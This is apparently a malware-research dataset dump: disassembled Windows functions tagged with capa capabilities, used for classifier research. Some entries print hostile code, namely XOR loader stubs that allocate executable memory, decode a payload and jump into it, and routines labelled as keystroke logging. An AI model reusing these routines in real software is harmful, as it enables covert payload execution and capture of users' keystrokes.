joyce8/EMBER2024-capa huggingface dataset:
Function at 0x422440
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push edi
xor edi, edi
push edi
call ebx
mov esi, dword [ebp + 8]
test esi, esi
je 0x422556
movzx eax, word [esi]
cmp eax, 0x5c
je 0x422498
cmp eax, 0x2f
je 0x422498
push eax
call fcn.00442104
add esp, 4
test eax, eax
je 0x422556
cmp word [esi + 2], 0x3a
jne 0x422556
movzx eax, word [esi + 4]
cmp eax, 0x5c
je 0x422498
cmp eax, 0x2f
jne 0x422556
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x422549
test al, 0x50
jne 0x422549
push 0
push 0
push 3
push 0
push 1
push SysReAllocStringLen
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x4224db
push 0x20
call ebx
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor ecx, ecx
mov dword [ebp + 8], edi
cmp dword [ebp + 0x10], ecx
lea eax, [ebp + 8]
cmove eax, ecx
push eax
push esi
call fcn.00422570
add esp, 8
test eax, eax
je 0x42251e
cmp dword [ebp + 0x10], edi
je 0x42250a
cmp dword [ebp + 8], edi
jne 0x42250a
push 0x80092009
call ebx
jmp 0x42251e
mov eax, dword [ebp + 0xc]
and eax, 0xffffe8f7
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
cmp dword [ebp - 4], 0
je 0x422538
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
test edi, edi
je 0x42255d
push 0
call ebx
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x7e
call ebx
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0xa0
call ebx
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x426187
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x426526
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
jne 0x426543
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jg 0x426547
jmp 0x42654f
mov esp, ebp
pop ebp
ret
movzx eax, ax
or eax, 0x80070000
push eax
lea ecx, [ebp - 0x10]
call fcn.00426a86
push 0x46c928
lea eax, [ebp - 0x10]
push eax
call fcn.0043c861
int3

Function at 0x430a0c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 4
mov eax, 0x45612b
call fcn.00424eec
mov edi, ecx
mov dword [ebp - 0x10], edi
or dword [edi + 4], 0xfffffff
lea ecx, [edi + 0x3c]
xor ebx, ebx
mov dword [edi + 8], ebx
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], SysReAllocStringLen
mov dword [edi + 0x18], ebx
mov dword [edi + 0x38], ebx
call fcn.0042e773
mov dword [ebp - 4], ebx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0x64]
mov dword [edi + 0x64], eax
xor eax, eax
mov dword [edi + 0x6c], eax
mov dword [edi + 0x78], eax
mov dword [edi + 0x84], eax
mov dword [edi + 0x88], eax
test dword [0x470068], 0x80000000
je 0x430a7d
push dword [0x472c4c]
call fcn.00426575
pop ecx
test eax, eax
jne 0x430a82
call fcn.0042bcdf
mov dword [edi + 0xc], eax
mov eax, dword [eax + 0x34]
mov dword [edi], eax
mov eax, dword [ebx + 8]
mov dword [edi + 8], eax
test eax, eax
je 0x430a9d
cmp eax, 2
je 0x430a9d
lock inc dword [eax + 4]
mov ecx, edi
call fcn.004316a4
lea ecx, [edi + 0x3c]
call fcn.0042f120
cmp byte [ebp + 0xc], 0
je 0x430ade
mov edx, dword [edi + 0x64]
mov ecx, edi
add edx, 0x68
mov esi, dword [edx]
mov eax, esi
mov dword [edi + 0x68], esi
lock cmpxchg dword [edx], ecx
jmp 0x430ad8
mov dword [edi + 0x68], eax
mov esi, eax
mov ecx, dword [edi + 0x64]
mov edx, edi
add ecx, 0x68
lock cmpxchg dword [ecx], edx
cmp eax, esi
jne 0x430ac7
jmp 0x430ae6
or dword [edi + 0x78], 1
and dword [edi + 0x68], 0
call fcn.0042bebd
mov esi, eax
mov eax, dword [esi + 0x20]
test eax, eax
jne 0x430afe
mov ecx, esi
call fcn.0042fecd
mov eax, dword [esi + 0x20]
mov eax, dword [eax + 0x40]
and dword [edi + 4], 0xfffffff
mov dword [edi + 0x80], eax
mov eax, edi
call fcn.00424ec6
ret 8

Function at 0x4390ac
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x472cbc], eax
cmp eax, 0xffffffff
jne 0x4390ce
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jg 0x4390d2
jmp 0x4390da
mov esp, ebp
pop ebp
ret
movzx eax, ax
or eax, 0x80070000
push eax
lea ecx, [ebp - 0x10]
call fcn.00426a86
push 0x46c928
lea eax, [ebp - 0x10]
push eax
call fcn.0043c861
int3
Function at 0x43d74f
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x45cb44
push 0x45cb3c
push str.FlsAlloc
push 0
call fcn.0043d6c8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x43d781
push dword [ebp + 8]
mov ecx, esi
call fcn.00424ec0
call esi
pop esi
pop ebp
ret
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x43d7c3
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x45cb54
push 0x45cb4c
push str.FlsGetValue
push 2
call fcn.0043d6c8
add esp, 0x10
mov esi, eax
push dword [ebp + 8]
test esi, esi
je 0x43d7f4
mov ecx, esi
call fcn.00424ec0
call esi
jmp 0x43d7fa
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
pop esi
pop ebp
ret

Function at 0x43d7fd
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x45cb5c
push 0x45cb54
push str.FlsSetValue
push 3
call fcn.0043d6c8
add esp, 0x10
mov esi, eax
push dword [ebp + 0xc]
push dword [ebp + 8]
test esi, esi
je 0x43d831
mov ecx, esi
call fcn.00424ec0
call esi
jmp 0x43d837
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop esi
pop ebp
ret
Function at 0x40b270
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x40a015
lea edi, [esi - 0x9015]
push edi
or ebp, 0xffffffff
jmp 0x40b292
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40b299
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40b288
mov eax, 1
add ebx, ebx
jne 0x40b2ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40b2a0
jne 0x40b2bc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40b2a0
xor ecx, ecx
sub eax, 3
jb 0x40b2d0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40b342
mov ebp, eax
add ebx, ebx
jne 0x40b2db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40b2e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40b30c
inc ecx
add ebx, ebx
jne 0x40b2f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40b2ed
jne 0x40b309
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40b2ed
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40b32c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40b31d
jmp 0x40b28e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40b32c
add edi, ecx
jmp 0x40b28e
pop esi
mov edi, esi
mov ecx, 0x62
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40b34a
cmp byte [edi], 2
jne 0x40b34a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40b34f
lea edi, [esi + 0x9000]
mov eax, dword [edi]
or eax, eax
je 0x40b3be
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xb4ec]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xb528]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40b37c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xb530]
or eax, eax
je 0x40b3b8
mov dword [ebx], eax
add ebx, 4
jmp 0x40b399
call dword [esi + 0xb52c]
mov ebp, dword [esi + 0xb534]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
lea ebx, [esi - 0x1000]
lea edi, [ebx + 0xb419]
push edi
xor eax, eax
stosb byte es:[edi], al
pop ecx
dec ecx
push eax
push 1
push ebx
call ecx
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40b40a
sub esp, 0xffffff80
jmp 0x4014c0
Function at 0x1001f240
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x1001f404
pushal
mov esi, section.UPX1
lea edi, [esi - 0x13000]
push edi
or ebp, 0xffffffff
jmp 0x1001f26a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1001f271
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1001f260
mov eax, 1
add ebx, ebx
jne 0x1001f283
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1001f278
jne 0x1001f294
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1001f278
xor ecx, ecx
sub eax, 3
jb 0x1001f2a8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1001f31a
mov ebp, eax
add ebx, ebx
jne 0x1001f2b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x1001f2c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x1001f2e4
inc ecx
add ebx, ebx
jne 0x1001f2d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1001f2c5
jne 0x1001f2e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1001f2c5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1001f304
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1001f2f5
jmp 0x1001f266
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1001f304
add edi, ecx
jmp 0x1001f266
pop esi
mov edi, esi
mov ecx, 0x3f0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1001f322
cmp byte [edi], 1
jne 0x1001f322
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1001f327
lea edi, [esi + 0x1c000]
mov eax, dword [edi]
or eax, eax
je 0x1001f396
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1f000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1f064]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1001f354
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1f068]
or eax, eax
je 0x1001f390
mov dword [ebx], eax
add ebx, 4
jmp 0x1001f371
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1001f3c7
cmp al, 0xef
ja 0x1001f3ba
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1001f39c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x1001f3a9
mov ebp, dword [esi + 0x1f06c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1001f3fb
sub esp, 0xffffff80
jmp 0x1001196a
Function at 0x1001bd34
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret

Function at 0x1004097e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x1004098d
pop dword [ebp - 0x18]
mov eax, 0x1004098d
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xb4305e11
sub dword [ebp - 0x28], 0x65de18c6
mov dword [ebp - 0x24], 0xbe4d0cd1
add dword [ebp - 0x24], 0x73e63f74
mov dword [ebp - 0x20], 0x1bd1314e
sub dword [ebp - 0x20], 0xcf84ed20
mov dword [ebp - 0x1c], 0xe6756895
sub dword [ebp - 0x1c], 0xe6756895
lea eax, [ebp - 0x28]
push eax
mov eax, 0xcc0954b2
add eax, 0x43fafc52
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x90a2b351
sub dword [ebp - 0x28], 0x1c3049fb
mov dword [ebp - 0x24], 0xd48d9ddd
add dword [ebp - 0x24], 0x6cdec398
mov dword [ebp - 0x20], 0xaee62371
add dword [ebp - 0x20], 0xb48948fb
mov dword [ebp - 0x1c], 0x31f72de
sub dword [ebp - 0x1c], 0x31f72de
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x46d53
push 0
call eax
mov ecx, 0x69badb8e
add ecx, 0x96455e1b
xor ebx, ebx
add ebx, eax
mov edi, 0x10075000
add edi, dword [ebp - 0x18]
mov edx, 0x90618ea0
add edx, 0xd885ff3f
sub dword [ebp - 0x14], eax
mov esi, dword [edi]
add dword [ebp - 4], ecx
add esi, edx
xor dword [ebp - 8], edx
mov dword [ebx], esi
add ebx, 4
add edi, 4
loop 0x10040aa1
add eax, 0x5e08c468
sub eax, 0x5e07eaf1
mov ebx, eax
add eax, 0x9e3d5901
add eax, 0x61c2a704
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x402e60
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4051f7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
lea ecx, [esp + 0x10]
mov dword [esp + 0xc], 0
call fcn.00401140
mov ebx, 1
push 0x4070f8
lea ecx, [esp + 0xc]
mov dword [esp + 0x24], ebx
call sub.MFC42.DLL_CString::CString_2
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x2c]
push 0xf003f
push eax
push ecx
lea ecx, [esp + 0x1c]
mov byte [esp + 0x2c], 2
call fcn.004011a0
mov edx, dword [esp + 0x34]
lea eax, [esp + 8]
push edx
push eax
lea ecx, [esp + 0x18]
call fcn.004011e0
test eax, eax
lea ecx, [esp + 0x10]
jne 0x402ef5
call fcn.00401180
mov esi, dword [esp + 0x28]
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call sub.MFC42.DLL_CString::CString_1
mov dword [esp + 0xc], ebx
jmp 0x402f0e
call fcn.00401180
mov esi, dword [esp + 0x28]
push 0x4070f8
mov ecx, esi
call sub.MFC42.DLL_CString::CString_2
mov dword [esp + 0xc], ebx
lea ecx, [esp + 8]
mov byte [esp + 0x20], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 0
call fcn.00401170
mov ecx, dword [esp + 0x18]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret

Function at 0x419b00
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0xa56218a8
sbb eax, 0xa054bd
xlatb
and al, 0x53
xor ah, dh
fcomp qword [edi + 0xb8270fd]
cmc
sub eax, 0x3d0774e4
sbb byte [edi + 0x17], bl
aaa
xor ecx, edx
jecxz 0x419b1c
jl 0x419b5b
mov dword [0x7e9c2ec7], eax
inc edi
out 0xd0, eax
mov edi, dword [esi]
sbb esi, dword [edx]
int 0xcf
rcl byte [eax]
fiadd dword [ebp + 0x12]
jecxz 0x419b69
sbb al, byte [eax + eax + 0x74000000]
stc
test byte [eax], al
add byte [eax], al
add byte [ecx + edi*8 - 0x43], dh
je 0x419afb
mov ebp, 0x7731d031
add dword [eax], eax
invalid
jp 0x419b0c
je 0x419afb
mov ebp, 0x7731d031
add dword [eax], eax
call 0xab419b88
jae 0x419b16
add byte [ebx + 0x26000673], ch
add byte [esi], ah
add eax, 0x31a8d00
add byte [ecx], ch
cdq
sub byte [0x45157ab7], 0x2e
loopne 0x419abf
add eax, dword [eax]
sub dword [ecx + 0x7ab72d82], ebx
mov bh, 0x7a
adc eax, 0x9ce02e45
int 0x9e
fimul dword [ebp - 0x7d]
shr byte [edx - 0x675b92], 0xf3
ja 0x419b81
leave
inc edi
hlt
jge 0x419bb6
outsd dx, dword [esi]
dec eax
mov bl, dh
xor esi, ebp
aas
wait
sbb ebx, ebx
std
clc
into
ret 0xab06
salc
adc eax, 0xe3fec155
mov dword [0x7160e872], eax
and dword gs:[eax], ebx
lea ebp, [edx]
lea eax, [eax]
cmpsd dword [esi], dword es:[edi]
std
mov ebp, 0x4b70e31b
dec edi
sbb ch, cl
mov eax, 0xdabfde48
hlt
int 0xf8
scasb al, byte es:[edi]
xor ebx, dword [ebx + 0x54]
ret
Function at 0x1002a200
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100e8858
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x101480b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
push str.Entered_ADALGetPasswordChangeUrl
push 0
mov dword [ebp - 4], 0
call fcn.10045e40
add esp, 8
push 0
call dword [sym.imp.kernel32.dll_SetLastError]
push dword [ebp + 8]
call fcn.1008a870
mov edi, eax
add esp, 4
lea eax, [ebp - 0x14]
mov ecx, dword [edi]
push eax
mov esi, dword [ecx + 0x30]
mov ecx, esi
call dword [0x100f9528]
mov ecx, edi
call esi
push dword [ebp + 0x10]
mov byte [ebp - 4], 1
push dword [ebp + 0xc]
push eax
call fcn.1008a870
mov edx, dword [ebp - 0x14]
add esp, 0xc
mov ebx, eax
add edx, 0xfffffff0
or ecx, 0xffffffff
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x1002a2a7
mov edi, dword [edx]
push edx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x100f9528]
mov ecx, edi
call esi
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1002e380
Capabilities:
Hash data using fnv
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x101480b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0x10], 0x102
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x214], eax
mov dword [eax], 1
je 0x1002e4b4
push ebx
mov ebx, dword [ebp + 0x14]
push esi
push 0x10
mov dword [ebp - 0x208], ebx
mov esi, ebx
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002e3d7
or ebx, 0x10000
mov dword [ebp - 0x208], ebx
mov esi, ebx
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002e3f4
mov ebx, esi
or ebx, 0x20000
mov dword [ebp - 0x208], ebx
mov esi, ebx
push 0x12
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002e40f
mov ebx, esi
or ebx, 0x40000
mov dword [ebp - 0x208], ebx
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1015084c]
push edi
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x101512c8]
cmp eax, dword [ecx + 4]
jg 0x1002e4c6
movzx eax, bl
xor eax, 0x811c9dc5
mov edx, dword [0x101512ac]
imul ecx, eax, 0x1000193
movzx eax, bh
xor ecx, eax
movzx eax, byte [ebp - 0x206]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [ebp - 0x205]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul esi, ecx, 0x1000193
mov ecx, dword [0x101512b4]
and esi, dword [0x101512c0]
mov edi, dword [ecx + esi*8]
mov eax, edi
nop
cmp edi, edx
jne 0x1002e488
mov ecx, edx
jmp 0x1002e48e
mov ecx, dword [ecx + esi*8 + 4]
mov ecx, dword [ecx]
cmp eax, ecx
je 0x1002e4b1
cmp dword [eax + 8], ebx
je 0x1002e4a1
mov eax, dword [eax]
mov ecx, dword [0x101512b4]
jmp 0x1002e480
cmp eax, edx
je 0x1002e4b1
mov eax, dword [ebp - 0x214]
mov dword [eax], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.100055f3
mov esp, ebp
pop ebp
ret 0x20
push 0x101512c8
call fcn.1008a870
add esp, 4
cmp dword [0x101512c8], 0xffffffff
jne 0x1002e430
mov ecx, 0x80
mov dword [0x101512a8], 0
mov esi, 0x10104158
mov dword [0x101512ac], 0
lea edi, [ebp - 0x204]
mov dword [0x101512b0], 0
rep movsd dword es:[edi], dword [esi]
push 0
push 0
mov ecx, 0x101512ac
call fcn.1008a870
push 8
mov ecx, 0x101512a8
mov dword [0x101512ac], eax
mov dword [0x101512b4], 0
mov dword [0x101512b8], 0
mov dword [0x101512bc], 0
mov dword [0x101512a8], 0x3f800000
call fcn.1008a870
lea edi, [ebp - 0x204]
jmp 0x1002e560
mov eax, dword [0x101512ac]
mov ecx, 0x101512ac
push edi
mov esi, dword [eax]
mov eax, dword [esi + 4]
push eax
push esi
mov dword [ebp - 0x20c], eax
call fcn.1008a870
mov edx, dword [0x101512b0]
mov ecx, 0x15555554
sub ecx, edx
mov dword [ebp - 0x210], eax
cmp ecx, 1
jb 0x1002e5f0
mov ecx, dword [ebp - 0x210]
inc edx
mov dword [0x101512b0], edx
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x20c]
mov dword [eax], ecx
mov ecx, 0x101512a8
mov eax, dword [0x101512ac]
mov eax, dword [eax]
push eax
add eax, 8
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.1008a870
add edi, 4
lea eax, [ebp - 4]
cmp edi, eax
jne 0x1002e560
push 0x100f7640
call fcn.1008a870
push 0x101512c8
call fcn.1008a870
add esp, 8
jmp 0x1002e430
push str.list_T__too_long
call fcn.1008a870
int3
Function at 0x1008a870
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1008a87f
pop dword [ebp - 0x28]
mov eax, 0x1008a87f
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x80ebe
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x5321cbbc
sub ecx, 0x532180d4
xor edx, edx
add edx, eax
mov edi, 0x10172200
add edi, dword [ebp - 0x28]
mov esi, 0x3cf91566
add esi, 0xb1d84d5f
add dword [ebp - 0x24], eax
mov ebx, dword [edi]
xor dword [ebp - 4], 0x7c3c09aa
sub ebx, esi
mov dword [ebp - 4], 0xa1ce42b3
mov dword [edx], ebx
sub dword [ebp - 8], eax
add edx, 0x381e5b0a
add edx, 0xc7e1a4fa
add edi, 0xc127f8b4
add edi, 0x3ed80750
loop 0x1008a8d0
add eax, 0xbde1d5b5
sub eax, 0xbde0b742
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x965865f3
sub ecx, 0x865865f3
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x100a2590
Capabilities:
Prepare http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
push esi
push edi
lea esi, [ebx + 0x30]
mov ecx, esi
call fcn.1004a300
movzx edi, al
mov ecx, esi
neg edi
sbb edi, edi
and edi, 0x800000
call fcn.1004a300
test al, al
je 0x100a25d8
mov eax, dword [ebx]
push 0x800
push 0x54
mov esi, dword [eax + 0x28]
mov ecx, esi
call dword [0x100f9528]
mov ecx, ebx
call esi
lea esi, [ebx + 0x30]
push 0xd
mov ecx, ebx
call fcn.1008a870
cmp dword [ebx + 0x40], 0
je 0x100a2640
lea eax, [ebp - 4]
mov ecx, esi
push eax
call fcn.1008a870
push edi
push 0
push 0
push 0
push dword [eax]
push dword [ebx + 0x10]
push dword [ebx + 0x40]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov ecx, dword [ebp - 4]
mov dword [ebx + 0x44], eax
add ecx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x100a2631
mov edi, dword [ecx]
push ecx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x100f9528]
mov ecx, edi
call esi
cmp dword [ebx + 0x44], 0
je 0x100a2647
push 0xe
mov ecx, ebx
call fcn.1008a870
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x10]
call fcn.1008a870
push 0x101302d0
lea eax, [ebp - 0x10]
push eax
call fcn.1008a870
int3